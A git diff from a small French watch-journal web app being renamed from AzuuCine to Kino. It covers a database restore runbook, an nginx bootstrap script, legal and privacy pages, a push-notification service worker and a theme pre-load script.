les tables `public` gardent leurs données.) Puis réinjecter les lignes voulues dans Supabase avec
|
||||
`\copy … to/from` ou un `insert … on conflict do update` ciblé.
|
||||
|
||||
### b) Restaurer tout le schéma `public` (après une fausse manip)
|
||||
|
||||
```bash
|
||||
# 1. sauvegarde de l'état actuel
|
||||
bash deploy/backup.sh
|
||||
# 2. restauration des tables de l'app (les comptes auth.users existent toujours)
|
||||
pg_restore --no-owner --no-privileges --clean --if-exists --schema=public -d "$DB" /tmp/azuucine.dump
|
||||
```
|
||||
|
||||
`--clean` supprime puis recrée les objets du schéma `public` (tables, fonctions, policies RLS).
|
||||
Relancer ensuite les migrations récentes si le dump est antérieur à l'une d'elles
|
||||
(`supabase/migrations/*.sql`, toutes idempotentes) dans **SQL Editor → Run**.
|
||||
|
||||
### c) Projet Supabase perdu (reconstruction complète dans un nouveau projet)
|
||||
|
||||
1. Créer un nouveau projet Supabase (même région), noter sa chaîne Session pooler.
|
||||
2. Restaurer d'abord les comptes, puis l'app :
|
||||
```bash
|
||||
pg_restore --no-owner --no-privileges --data-only --schema=auth --table=users --table=identities -d "$DB" /tmp/azuucine.dump
|
||||
pg_restore --no-owner --no-privileges --schema=public -d "$DB" /tmp/azuucine.dump
|
||||
pg_restore --no-owner --no-privileges --data-only --schema=storage --table=objects -d "$DB" /tmp/azuucine.dump
|
||||
```
|
||||
(Les fichiers du bucket `profile-media` ne sont **pas** dans le dump : seules leurs références le sont.
|
||||
Les photos de profil devront être re-téléversées, ou copiées depuis l'ancien projet s'il est accessible.)
|
||||
3. Rejouer les réglages hors base : bucket `profile-media` (public), edge functions `tmdb` et
|
||||
`delete-account` + leurs secrets (clé TMDB), fournisseurs d'auth (Google), URL du site.
|
||||
4. Mettre à jour `VITE_SUPABASE_URL` / `VITE_SUPABASE_ANON_KEY` dans Gitea et redéployer.
|
||||
5. Remettre Romain admin : `insert into public.admins (user_id) values ('<uuid>') on conflict do nothing;`
|
||||
|
||||
## 3. Nettoyer
|
||||
|
||||
```bash
|
||||
shred -u /tmp/azuucine.dump 2>/dev/null || rm -f /tmp/azuucine.dump
|
||||
dropdb azuu_restore 2>/dev/null || true
|
||||
unset PGPASSWORD
|
||||
```
|
||||
Executable
+28
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
# À lancer UNE FOIS, en root, dans un conteneur azuucine-web neuf (Debian 12) :
|
||||
# lxc-attach -n azuucine-web -- bash < deploy/web/bootstrap.sh
|
||||
# Prérequis : /srv/azuucine monté dans le conteneur (lxc.mount.entry ... srv/azuucine none bind,ro).
|
||||
# Ensuite, toute la configuration du site arrive avec les déploiements (deploy/nginx/site.conf).
|
||||
set -euo pipefail
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get update -qq && apt-get install -y -qq nginx >/dev/null
|
||||
rm -f /etc/nginx/sites-enabled/default
|
||||
echo 'include /srv/azuucine/current/nginx/site.conf;' > /etc/nginx/conf.d/azuucine.conf
|
||||
cat > /etc/systemd/system/azuucine-reload.path <<UNIT
|
||||
[Unit]
|
||||
Description=Recharge nginx apres un deploiement AzuuCine
|
||||
[Path]
|
||||
PathModified=/srv/azuucine/.deployed
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
UNIT
|
||||
cat > /etc/systemd/system/azuucine-reload.service <<UNIT
|
||||
[Unit]
|
||||
Description=Reload nginx (deploiement AzuuCine)
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "nginx -t && systemctl reload nginx"
|
||||
UNIT
|
||||
systemctl daemon-reload
|
||||
systemctl enable --now azuucine-reload.path >/dev/null 2>&1
|
||||
echo "ok : le premier déploiement (push sur main) activera le site"
|
||||
+4
-2
@@ -11,10 +11,12 @@
|
||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||
<meta name="mobile-web-app-capable" content="yes" />
|
||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||
<meta name="apple-mobile-web-app-title" content="AzuuCine" />
|
||||
<meta name="apple-mobile-web-app-title" content="Kino" />
|
||||
<link rel="apple-touch-icon" href="/icons/apple-touch-icon.png" />
|
||||
<link rel="icon" type="image/svg+xml" href="/icons/favicon.svg" />
|
||||
<title>AzuuCine</title>
|
||||
<title>Kino</title>
|
||||
<!-- Thème choisi appliqué avant le premier affichage (fichier local : compatible avec la CSP) -->
|
||||
<script src="/theme-boot.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
# Netlify construit le site lui-même : `npm run build`, puis publie le dossier dist.
|
||||
# Les deux variables VITE_SUPABASE_* (publiques) sont réglées dans Netlify → Environment variables.
|
||||
# La clé TMDB n'est JAMAIS ici : elle reste un secret Supabase.
|
||||
[build]
|
||||
command = "npm run build"
|
||||
publish = "dist"
|
||||
|
||||
[build.environment]
|
||||
NODE_VERSION = "22"
|
||||
+1
-1
@@ -3,7 +3,7 @@
|
||||
"private": true,
|
||||
"version": "2.2.0",
|
||||
"type": "module",
|
||||
"description": "AzuuCine — suivi personnel et privé de films, séries, animes et dramas (PWA, comptes synchronisés ou 100 % locale)",
|
||||
"description": "Kino — suivi personnel et privé de films, séries, animes et dramas (PWA, comptes synchronisés ou 100 % locale)",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"dev:mobile": "vite --host",
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
<!doctype html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>Kino — Page introuvable</title>
|
||||
<meta name="robots" content="noindex" />
|
||||
<link rel="icon" href="/icons/favicon.svg" type="image/svg+xml" />
|
||||
<style>
|
||||
:root { color-scheme: dark; }
|
||||
* { box-sizing: border-box; }
|
||||
body { margin: 0; min-height: 100dvh; display: grid; place-items: center; background: #0a0a0a; color: #e8e8e8; font: 16px/1.6 Inter, system-ui, -apple-system, sans-serif; text-align: center; }
|
||||
main { padding: 48px 20px; max-width: 520px; }
|
||||
.code { font-size: clamp(6rem, 28vw, 11rem); font-weight: 800; letter-spacing: -.06em; line-height: 1; margin: 0; color: #2a2a2a; }
|
||||
.code span { color: #e5383b; }
|
||||
h1 { font-size: 1.5rem; margin: 20px 0 8px; }
|
||||
p { color: #a3a3a3; margin: 0 0 28px; }
|
||||
a.btn { display: inline-block; background: #e5383b; color: #fff; text-decoration: none; font-weight: 600; padding: 12px 22px; border-radius: 999px; }
|
||||
a.btn:focus-visible { outline: 2px solid #fff; outline-offset: 3px; }
|
||||
.en { margin-top: 36px; font-size: .85rem; color: #8a8a8a; }
|
||||
.en a { color: #e5383b; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<main>
|
||||
<p class="code" aria-hidden="true">4<span>0</span>4</p>
|
||||
<h1>Cette scène a été coupée au montage</h1>
|
||||
<p>La page que tu cherches n'existe pas ou a été déplacée.</p>
|
||||
<a class="btn" href="/">Retour à Kino</a>
|
||||
<p class="en">Page not found — <a href="/">back to Kino</a></p>
|
||||
</main>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,78 @@
|
||||
<!doctype html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>Kino — Mentions légales et conditions d'utilisation</title>
|
||||
<meta name="robots" content="index" />
|
||||
<style>
|
||||
:root { color-scheme: dark; }
|
||||
body { margin: 0; background: #0a0a0a; color: #e8e8e8; font: 16px/1.65 Inter, system-ui, -apple-system, sans-serif; }
|
||||
main { max-width: 680px; margin: 0 auto; padding: 48px 20px 80px; }
|
||||
h1 { font-size: 2rem; margin: 0 0 4px; }
|
||||
h1 span { color: #e5383b; }
|
||||
h2 { font-size: 1.1rem; margin: 36px 0 8px; }
|
||||
h3 { font-size: 1rem; margin: 20px 0 4px; }
|
||||
p, li { color: #bdbdbd; }
|
||||
a { color: #e5383b; }
|
||||
a:focus-visible { outline: 2px solid #e5383b; outline-offset: 2px; }
|
||||
.muted { color: #8a8a8a; font-size: .875rem; }
|
||||
hr { border: 0; border-top: 1px solid #222; margin: 48px 0; }
|
||||
nav a { margin-right: 16px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<main>
|
||||
<h1>Ki<span>no</span></h1>
|
||||
<p class="muted">Mentions légales, conditions d'utilisation et crédits — mise à jour le 9 octobre 2026</p>
|
||||
<nav class="muted"><a href="#mentions">Mentions légales</a><a href="#conditions">Conditions d'utilisation</a><a href="#credits">Crédits</a><a href="/privacy.html">Confidentialité</a></nav>
|
||||
|
||||
<h2 id="mentions">Mentions légales</h2>
|
||||
<h3>Éditeur</h3>
|
||||
<p>Kino est édité par <strong>Romain Dacet</strong>, particulier, à titre personnel et non commercial. Directeur de la publication : Romain Dacet. Contact : via <a href="https://rdacet.fr">rdacet.fr</a>.</p>
|
||||
<h3>Hébergement</h3>
|
||||
<ul>
|
||||
<li><strong>Site (fichiers de l'application)</strong> : OVH SAS, 2 rue Kellermann, 59100 Roubaix, France — <a href="https://www.ovhcloud.com">ovhcloud.com</a>.</li>
|
||||
<li><strong>Comptes et données</strong> (base de données, authentification, photos de profil) : Supabase Inc. — <a href="https://supabase.com">supabase.com</a>. Les données sont stockées dans l'Union européenne (Irlande).</li>
|
||||
</ul>
|
||||
|
||||
<h2 id="conditions">Conditions d'utilisation</h2>
|
||||
<h3>Le service</h3>
|
||||
<p>Kino permet de tenir le journal des films, séries, animes et dramas que tu regardes, de les noter, d'écrire des avis et de suivre d'autres membres. Le service est <strong>gratuit</strong>, sans publicité et sans achat : il n'y a donc ni conditions de vente, ni paiement, ni remboursement.</p>
|
||||
<h3>Âge minimum</h3>
|
||||
<p>Il faut avoir <strong>au moins 15 ans</strong> pour créer un compte. En dessous, l'accord d'un parent ou du titulaire de l'autorité parentale est nécessaire.</p>
|
||||
<h3>Ton compte</h3>
|
||||
<p>Tu es responsable de ton compte et de ton mot de passe. Tu peux exporter tes données ou supprimer ton compte à tout moment depuis <em>Réglages</em> (Sauvegarde, Zone sensible), sans démarche ni justification.</p>
|
||||
<h3>Ce que tu publies</h3>
|
||||
<p>Ton pseudo, ta photo, ta bio, tes notes et tes avis sont visibles par les autres membres (sauf si ton compte est privé). Tu restes propriétaire de ce que tu écris. Sont interdits : les contenus illégaux, haineux, harcelants, à caractère sexuel, l'usurpation d'identité, le spam et les révélations (spoilers) présentées de façon trompeuse. Un contenu qui ne respecte pas ces règles peut être retiré, et le compte concerné suspendu.</p>
|
||||
<p>Pour signaler un contenu, contacte l'éditeur via <a href="https://rdacet.fr">rdacet.fr</a>.</p>
|
||||
<h3>Informations sur les œuvres</h3>
|
||||
<p>Les fiches (titres, affiches, résumés, notes moyennes, casting, dates de sortie) proviennent de TMDB et d'AniList. Elles sont fournies telles quelles et peuvent contenir des erreurs ; les notes moyennes affichées sont celles de ces services, pas un avis de l'éditeur.</p>
|
||||
<h3>Disponibilité</h3>
|
||||
<p>Kino est un projet personnel, proposé sans garantie de disponibilité permanente. L'éditeur fait de son mieux pour protéger tes données (voir la <a href="/privacy.html">politique de confidentialité</a>) et te conseille d'exporter régulièrement ta bibliothèque.</p>
|
||||
<h3>Droit applicable</h3>
|
||||
<p>Ces conditions sont soumises au droit français. Elles peuvent évoluer ; la date de mise à jour figure en haut de cette page.</p>
|
||||
|
||||
<h2 id="credits">Crédits et licences</h2>
|
||||
<ul>
|
||||
<li><strong>TMDB</strong> — <em>This product uses the TMDB API but is not endorsed or certified by TMDB.</em> Les informations et images des films et séries proviennent de <a href="https://www.themoviedb.org">The Movie Database (TMDB)</a>.</li>
|
||||
<li><strong>AniList</strong> — les informations et images des animes proviennent de <a href="https://anilist.co">AniList</a>.</li>
|
||||
<li><strong>JustWatch</strong> — les offres de streaming (« Où regarder ») proviennent de <a href="https://www.justwatch.com">JustWatch</a>, via TMDB.</li>
|
||||
<li><strong>Police Inter</strong> — Rasmus Andersson, licence SIL Open Font License 1.1.</li>
|
||||
<li><strong>Icônes Lucide</strong> — licence ISC.</li>
|
||||
<li><strong>Logiciels libres</strong> — React (MIT), Vite (MIT), Tailwind CSS (MIT), Workbox (MIT).</li>
|
||||
<li>Les affiches, images et marques des œuvres appartiennent à leurs ayants droit respectifs.</li>
|
||||
</ul>
|
||||
|
||||
<h2>Accessibilité</h2>
|
||||
<p>L'application vise à être utilisable au clavier, avec un lecteur d'écran et avec des contrastes suffisants dans tous les thèmes. Si quelque chose te bloque, signale-le via <a href="https://rdacet.fr">rdacet.fr</a>.</p>
|
||||
|
||||
<hr />
|
||||
|
||||
<h1 style="font-size:1.4rem">Legal notice & terms (English summary)</h1>
|
||||
<p>Kino is published by Romain Dacet, a private individual, on a personal, non-commercial basis (contact: <a href="https://rdacet.fr">rdacet.fr</a>). The site is hosted by OVH SAS (2 rue Kellermann, 59100 Roubaix, France); accounts and data are hosted by Supabase Inc. in the European Union (Ireland). The service is free, with no ads and no purchases. You must be at least 15 years old to sign up (or have a parent's consent). You own what you write; illegal, hateful, harassing or sexual content, impersonation and spam are forbidden and may be removed, and the account suspended. Title data comes from TMDB and AniList (streaming availability: JustWatch) and is provided as is. This product uses the TMDB API but is not endorsed or certified by TMDB. French law applies.</p>
|
||||
|
||||
<p class="muted"><a href="/">← Retour à Kino</a></p>
|
||||
</main>
|
||||
</body>
|
||||
</html>
|
||||
+56
-19
@@ -3,7 +3,7 @@
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>AzuuCine — Confidentialité</title>
|
||||
<title>Kino — Confidentialité</title>
|
||||
<meta name="robots" content="index" />
|
||||
<style>
|
||||
:root { color-scheme: dark; }
|
||||
@@ -14,52 +14,89 @@
|
||||
h2 { font-size: 1.1rem; margin: 36px 0 8px; }
|
||||
p, li { color: #bdbdbd; }
|
||||
a { color: #e5383b; }
|
||||
a:focus-visible { outline: 2px solid #e5383b; outline-offset: 2px; }
|
||||
.muted { color: #8a8a8a; font-size: .875rem; }
|
||||
hr { border: 0; border-top: 1px solid #222; margin: 48px 0; }
|
||||
nav a { margin-right: 16px; }
|
||||
table { border-collapse: collapse; width: 100%; font-size: .9rem; }
|
||||
th, td { text-align: left; padding: 6px 8px; border-bottom: 1px solid #222; vertical-align: top; color: #bdbdbd; }
|
||||
th { color: #e8e8e8; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<main>
|
||||
<h1>Azuu<span>Cine</span></h1>
|
||||
<p class="muted">Politique de confidentialité — mise à jour le 2 octobre 2026</p>
|
||||
<h1>Ki<span>no</span></h1>
|
||||
<p class="muted">Politique de confidentialité — mise à jour le 9 octobre 2026</p>
|
||||
<nav class="muted"><a href="/legal.html#mentions">Mentions légales</a><a href="/legal.html#conditions">Conditions d'utilisation</a><a href="/legal.html#credits">Crédits</a></nav>
|
||||
|
||||
<p>AzuuCine est une application gratuite et sans publicité pour tenir le journal des films, séries, animes et dramas que tu regardes. Elle est développée par Romain Dacet, à titre personnel.</p>
|
||||
<p>Kino est une application gratuite et sans publicité pour tenir le journal des films, séries, animes et dramas que tu regardes. Elle est éditée par Romain Dacet, à titre personnel et non commercial, qui est le <strong>responsable du traitement</strong> de tes données (contact : <a href="https://rdacet.fr">rdacet.fr</a>).</p>
|
||||
|
||||
<h2>Ce qui est enregistré</h2>
|
||||
<ul>
|
||||
<li><strong>Ton compte</strong> : ton adresse e-mail (et ton nom si tu te connectes avec Google), pour t'identifier. Le mot de passe est chiffré par le service d'authentification, AzuuCine ne le voit jamais.</li>
|
||||
<li><strong>Ta bibliothèque</strong> : les titres que tu ajoutes, tes notes, tes avis, tes listes et tes réglages.</li>
|
||||
<li><strong>Ton profil</strong> : pseudo, nom affiché, bio, photo et bannière si tu en ajoutes, et tes abonnements.</li>
|
||||
</ul>
|
||||
<p>Tu peux utiliser Kino <strong>sans compte</strong> : tout reste alors uniquement sur ton appareil. Un compte n'est utile que pour synchroniser plusieurs appareils et pour la partie sociale.</p>
|
||||
|
||||
<h2>Ce qui est enregistré (et pourquoi)</h2>
|
||||
<table>
|
||||
<tr><th>Donnée</th><th>Pourquoi</th><th>Base légale</th></tr>
|
||||
<tr><td>Adresse e-mail, mot de passe (chiffré, jamais visible par l'éditeur), nom si tu te connectes avec Google</td><td>Te connecter et sécuriser ton compte</td><td>Exécution du service (contrat)</td></tr>
|
||||
<tr><td>Bibliothèque : titres, statuts, épisodes vus, dates, notes, avis, listes, réglages</td><td>Faire fonctionner ton journal et le synchroniser</td><td>Contrat</td></tr>
|
||||
<tr><td>Profil : pseudo, nom affiché, bio, photo, bannière, top 5</td><td>Te présenter aux autres membres</td><td>Contrat</td></tr>
|
||||
<tr><td>Abonnements, demandes de suivi, réactions emoji aux avis</td><td>Fonctions sociales</td><td>Contrat</td></tr>
|
||||
<tr><td>Notifications (nouveaux abonnés, réactions, nouveaux épisodes des séries suivies) et leurs préférences</td><td>Te prévenir de ce qui te concerne ; chaque type se désactive dans les réglages</td><td>Contrat</td></tr>
|
||||
</table>
|
||||
<p>Rien d'autre n'est collecté : pas de date de naissance, pas de numéro de téléphone, pas de localisation, pas de contacts.</p>
|
||||
|
||||
<h2>Qui peut voir quoi</h2>
|
||||
<ul>
|
||||
<li>Ton adresse e-mail n'est jamais visible par les autres utilisateurs.</li>
|
||||
<li>Ton profil (pseudo, nom, photo, bannière, bio, titres vus, notes, avis et statistiques) est visible par les utilisateurs connectés. Si tu passes ton compte en <strong>privé</strong>, seules les personnes que tu acceptes peuvent le voir.</li>
|
||||
<li>Tes avis écrits font partie de ton profil, comme tes notes. Tes listes personnelles et tes réglages restent privés.</li>
|
||||
<li>Ton profil (pseudo, nom, photo, bannière, bio, titres vus, notes, avis) est visible par les utilisateurs connectés. Si tu passes ton compte en <strong>privé</strong> (Modifier le profil → Compte privé), seules les personnes que tu acceptes peuvent le voir.</li>
|
||||
<li>Tes listes personnelles, tes réglages et tes notifications restent privés.</li>
|
||||
<li>L'éditeur, en tant qu'administrateur, peut retirer un contenu ou suspendre un compte qui ne respecte pas les <a href="/legal.html#conditions">conditions d'utilisation</a>.</li>
|
||||
</ul>
|
||||
|
||||
<h2>Connexion avec Google</h2>
|
||||
<p>Si tu choisis « Continuer avec Google », AzuuCine reçoit uniquement ton adresse e-mail, ton nom et l'identifiant de ton compte Google. Aucun accès à tes e-mails, ton Drive, tes contacts ou toute autre donnée Google n'est demandé.</p>
|
||||
<p>Si tu choisis « Continuer avec Google », Kino reçoit uniquement ton adresse e-mail, ton nom et l'identifiant de ton compte Google. Aucun accès à tes e-mails, ton Drive, tes contacts ou toute autre donnée Google n'est demandé.</p>
|
||||
|
||||
<h2>Où sont les données</h2>
|
||||
<p>Les données sont stockées chez <a href="https://supabase.com" rel="noopener">Supabase</a> (base de données et authentification) et une copie reste sur ton appareil pour que l'app fonctionne hors-ligne. Le site est hébergé sur un serveur privé (VPS) administré par l'éditeur ; ce serveur ne sert que des fichiers statiques et ne reçoit aucune de tes données. Les fiches des films et séries viennent de TMDB et d'AniList : seuls tes termes de recherche leur sont transmis, jamais tes données personnelles.</p>
|
||||
<h2>Où sont les données et qui les traite</h2>
|
||||
<ul>
|
||||
<li><strong>Supabase Inc.</strong> (base de données, authentification, stockage des photos) — sous-traitant, données hébergées dans l'<strong>Union européenne (Irlande)</strong>.</li>
|
||||
<li><strong>OVH SAS</strong> (Roubaix, France) — héberge les fichiers du site. Ce serveur ne reçoit aucune de tes données de compte ; comme tout serveur web, il voit ton adresse IP le temps de te servir les pages.</li>
|
||||
<li><strong>TMDB et AniList</strong> — fournissent les fiches et les images des œuvres. Tes recherches leur sont transmises (pour TMDB via notre serveur, sans ton identité — ou directement si tu as renseigné ta propre clé TMDB dans les réglages), et ton navigateur télécharge les affiches directement chez eux, ce qui leur révèle ton adresse IP, comme n'importe quel site qui affiche leurs images. Aucune donnée de compte ne leur est envoyée. Les plateformes affichées dans « Où regarder » viennent de JustWatch (via TMDB) ; le pays choisi reste sur ton appareil, et un lien vers une plateforme n'est ouvert que si tu cliques dessus.</li>
|
||||
<li><strong>Have I Been Pwned</strong> — quand tu crées un compte ou changes ton mot de passe, l'app vérifie qu'il n'apparaît pas dans une fuite de données connue. Seuls les 5 premiers caractères d'une empreinte chiffrée du mot de passe sont envoyés : ni le mot de passe, ni ton e-mail, ni rien qui permette de le retrouver.</li>
|
||||
</ul>
|
||||
|
||||
<h2>Sur ton appareil</h2>
|
||||
<p>Kino garde une copie de ta bibliothèque sur ton appareil (IndexedDB) et quelques préférences (thème, langue, session de connexion) dans le stockage local du navigateur, pour fonctionner hors-ligne. <strong>Aucun cookie</strong>, aucun traceur, aucun outil de mesure d'audience : ces stockages sont strictement nécessaires au service et ne demandent donc pas de bandeau de consentement. Se déconnecter efface la session.</p>
|
||||
|
||||
<h2>Durée de conservation</h2>
|
||||
<p>Tes données sont gardées tant que ton compte existe. Quand tu supprimes ton compte, tout est effacé définitivement et immédiatement : bibliothèque, profil, photos, avis, réactions, abonnements et notifications. Seules tes 300 notifications les plus récentes sont gardées, les plus anciennes sont effacées automatiquement.</p>
|
||||
|
||||
<h2>Ce qui n'est jamais fait</h2>
|
||||
<ul>
|
||||
<li>Aucune publicité, aucun traceur, aucun outil de mesure d'audience.</li>
|
||||
<li>Aucune publicité, aucun traceur, aucun profilage.</li>
|
||||
<li>Aucune donnée n'est vendue, louée ou partagée à des fins commerciales.</li>
|
||||
<li>Aucun e-mail marketing ni newsletter : les seuls e-mails envoyés sont ceux liés à ton compte (confirmation, mot de passe oublié).</li>
|
||||
</ul>
|
||||
|
||||
<h2>Âge minimum</h2>
|
||||
<p>Il faut avoir au moins <strong>15 ans</strong> pour créer un compte, ou l'accord d'un parent en dessous (article 7-1 de la loi Informatique et Libertés).</p>
|
||||
|
||||
<h2>Tes droits</h2>
|
||||
<p>Tu peux à tout moment exporter tes données ou <strong>supprimer ton compte</strong> depuis <em>Réglages → Compte</em> dans l'app : la suppression efface définitivement ta bibliothèque, ton profil, tes photos et tes abonnements. Pour toute autre question, tu peux contacter le développeur via <a href="https://rdacet.fr">rdacet.fr</a>.</p>
|
||||
<p>Conformément au RGPD, tu as un droit d'<strong>accès</strong>, de <strong>rectification</strong>, d'<strong>effacement</strong>, de <strong>portabilité</strong>, d'<strong>opposition</strong> et de <strong>limitation</strong>. La plupart s'exercent directement dans l'app :</p>
|
||||
<ul>
|
||||
<li>modifier ton profil et ta bibliothèque à tout moment ;</li>
|
||||
<li><strong>exporter</strong> toutes tes données (fichier JSON) depuis Réglages → Sauvegarde → Exporter mes données ;</li>
|
||||
<li><strong>supprimer ton compte</strong> depuis Réglages → Zone sensible → Supprimer mon compte, sans justification.</li>
|
||||
</ul>
|
||||
<p>Pour toute autre demande, contacte l'éditeur via <a href="https://rdacet.fr">rdacet.fr</a> (réponse sous un mois). Si tu estimes que tes droits ne sont pas respectés, tu peux adresser une réclamation à la <a href="https://www.cnil.fr/fr/plaintes" rel="noopener">CNIL</a>.</p>
|
||||
|
||||
<h2>Sécurité</h2>
|
||||
<p>Les échanges sont chiffrés (HTTPS). Chaque compte ne peut lire et modifier que ses propres données (règles d'accès appliquées par la base de données elle-même). Les mots de passe ne sont jamais stockés en clair.</p>
|
||||
|
||||
<hr />
|
||||
|
||||
<h1 style="font-size:1.4rem">Privacy policy (English summary)</h1>
|
||||
<p>AzuuCine is a free, ad-free personal watch journal. It stores your email (and your name if you sign in with Google), your library, ratings, reviews and profile. Your email is never shown to other users; your profile (including ratings and written reviews) is visible to signed-in users unless you make your account private; personal lists and settings stay private. Google sign-in only shares your email, name and account ID. Data is stored with Supabase; the site itself is served as static files from a private server run by the publisher, which receives none of your data; no ads, no trackers, nothing is sold. You can export your data or delete your account at any time from Settings → Account.</p>
|
||||
<p>Kino is a free, ad-free personal watch journal published by Romain Dacet (data controller, contact: <a href="https://rdacet.fr">rdacet.fr</a>). It works without an account (everything stays on your device). With an account, it stores your email (and your name if you sign in with Google), your library, ratings, reviews, profile, follows, emoji reactions and notifications, to provide the service (contract). Your email is never shown to other users; your profile is visible to signed-in users unless you make your account private. Data is hosted by Supabase in the EU (Ireland); the site files are served by OVH (France). Title data and posters come from TMDB and AniList, which see your IP address when your browser loads their images, but never your account data. No cookies, no trackers, no ads, no marketing emails, nothing sold; on-device storage is strictly necessary. Data is kept while your account exists and deleted immediately and completely when you delete it. You must be 15 or older (or have a parent's consent). You can access, correct, export or delete your data from Settings, contact the publisher for any other request, and complain to the CNIL.</p>
|
||||
|
||||
<p class="muted"><a href="/">← Retour à AzuuCine</a></p>
|
||||
<p class="muted"><a href="/">← Retour à Kino</a></p>
|
||||
</main>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,72 @@
|
||||
/* Kino — notifications push (chargé dans le service worker généré par Workbox via importScripts).
|
||||
* Affiche la notification reçue, et au clic ouvre (ou ramène au premier plan) l'app sur le bon écran. */
|
||||
/* eslint-env serviceworker */
|
||||
|
||||
// Écrans que le serveur peut demander d'ouvrir (tout le reste ouvre l'accueil)
|
||||
var OPEN_RE = /^(notifications|item:[A-Za-z0-9_-]{1,64}|u:[a-z0-9_]{3,20})$/
|
||||
|
||||
function clip(v, max) {
|
||||
if (typeof v !== 'string') return ''
|
||||
v = v.replace(/[\u0000-\u001f\u007f]/g, ' ').trim()
|
||||
return v.length > max ? v.slice(0, max - 1) + '…' : v
|
||||
}
|
||||
|
||||
/** Adresse à ouvrir : uniquement « /?open=<écran> » sur ce site. */
|
||||
function safeUrl(raw) {
|
||||
try {
|
||||
var u = new URL(typeof raw === 'string' ? raw : '/', self.location.origin)
|
||||
var open = u.searchParams.get('open') || ''
|
||||
if (u.origin === self.location.origin && u.pathname === '/' && OPEN_RE.test(open)) return '/?open=' + encodeURIComponent(open)
|
||||
} catch (e) {
|
||||
/* adresse invalide */
|
||||
}
|
||||
return '/'
|
||||
}
|
||||
|
||||
self.addEventListener('push', function (event) {
|
||||
var data = {}
|
||||
try {
|
||||
data = event.data ? event.data.json() : {}
|
||||
} catch (e) {
|
||||
data = {}
|
||||
}
|
||||
var title = clip(data.title, 120) || 'Kino'
|
||||
var options = {
|
||||
body: clip(data.body, 300),
|
||||
tag: clip(data.tag, 64) || undefined,
|
||||
icon: '/icons/icon-192.png',
|
||||
data: { url: safeUrl(data.url) },
|
||||
}
|
||||
event.waitUntil(
|
||||
Promise.all([
|
||||
self.registration.showNotification(title, options),
|
||||
// App ouverte : on lui signale qu'il y a du nouveau (compteur de la cloche)
|
||||
self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then(function (list) {
|
||||
list.forEach(function (c) {
|
||||
c.postMessage({ type: 'azuu:push' })
|
||||
})
|
||||
}),
|
||||
]),
|
||||
)
|
||||
})
|
||||
|
||||
self.addEventListener('notificationclick', function (event) {
|
||||
event.notification.close()
|
||||
var url = safeUrl(event.notification.data && event.notification.data.url)
|
||||
var open = new URL(url, self.location.origin).searchParams.get('open') || ''
|
||||
event.waitUntil(
|
||||
self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then(function (list) {
|
||||
// Une fenêtre de l'app est déjà ouverte : on la ramène et on lui dit quoi afficher
|
||||
for (var i = 0; i < list.length; i++) {
|
||||
var c = list[i]
|
||||
var cu = new URL(c.url)
|
||||
// (les pages légales, /privacy et /legal, ne sont pas l'app)
|
||||
if (cu.origin === self.location.origin && cu.pathname === '/' && 'focus' in c) {
|
||||
c.postMessage({ type: 'azuu:open', open: open })
|
||||
return c.focus()
|
||||
}
|
||||
}
|
||||
return self.clients.openWindow ? self.clients.openWindow(url) : undefined
|
||||
}),
|
||||
)
|
||||
})
|
||||
@@ -0,0 +1,26 @@
|
||||
/*
|
||||
* Kino — thème posé avant le premier affichage (script bloquant, chargé dans <head>).
|
||||
* Reprend les couleurs calculées au dernier lancement (voir applyTheme dans src/lib/theme.ts),
|
||||
* pour ne jamais voir le thème par défaut le temps que l'app démarre.
|
||||
*/
|
||||
;(function () {
|
||||
try {
|
||||
var raw = localStorage.getItem('azuucine:theme-css')
|
||||
if (!raw) return
|
||||
var v = JSON.parse(raw)
|
||||
var hex = /^#[0-9a-f]{6}$/i
|
||||
var modes = { light: 1, dark: 1, night: 1, starfield: 1 }
|
||||
if (!v || !modes[v.theme] || !hex.test(v.accent) || !hex.test(v.fill) || !hex.test(v.on) || !hex.test(v.canvas)) return
|
||||
var root = document.documentElement
|
||||
root.setAttribute('data-theme', v.theme)
|
||||
root.style.setProperty('--color-accent', v.accent)
|
||||
root.style.setProperty('--color-accent-fill', v.fill)
|
||||
root.style.setProperty('--color-on-accent', v.on)
|
||||
var meta = document.querySelector('meta[name="theme-color"]')
|
||||
if (meta) meta.setAttribute('content', v.canvas)
|
||||
var scheme = document.querySelector('meta[name="color-scheme"]')
|
||||
if (scheme) scheme.setAttribute('content', v.theme === 'light' ? 'light' : 'dark')
|
||||
} catch (e) {
|
||||
/* stockage indisponible : thème par défaut */
|
||||
}
|
||||
})()
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env node
|
||||
// Génère une paire de clés VAPID (P-256) pour les notifications push, et un secret de webhook.
|
||||
// À lancer UNE fois sur ton PC : node scripts/gen-vapid.mjs
|
||||
// Les valeurs affichées vont dans les secrets Supabase (jamais dans le dépôt, jamais dans .env / VITE_).
|
||||
// Ne pas exécuter en CI. Voir supabase/PUSH_SETUP.md.
|
||||
import { webcrypto as crypto } from 'node:crypto'
|
||||
|
||||
const b64url = (buf) => Buffer.from(buf).toString('base64url')
|
||||
|
||||
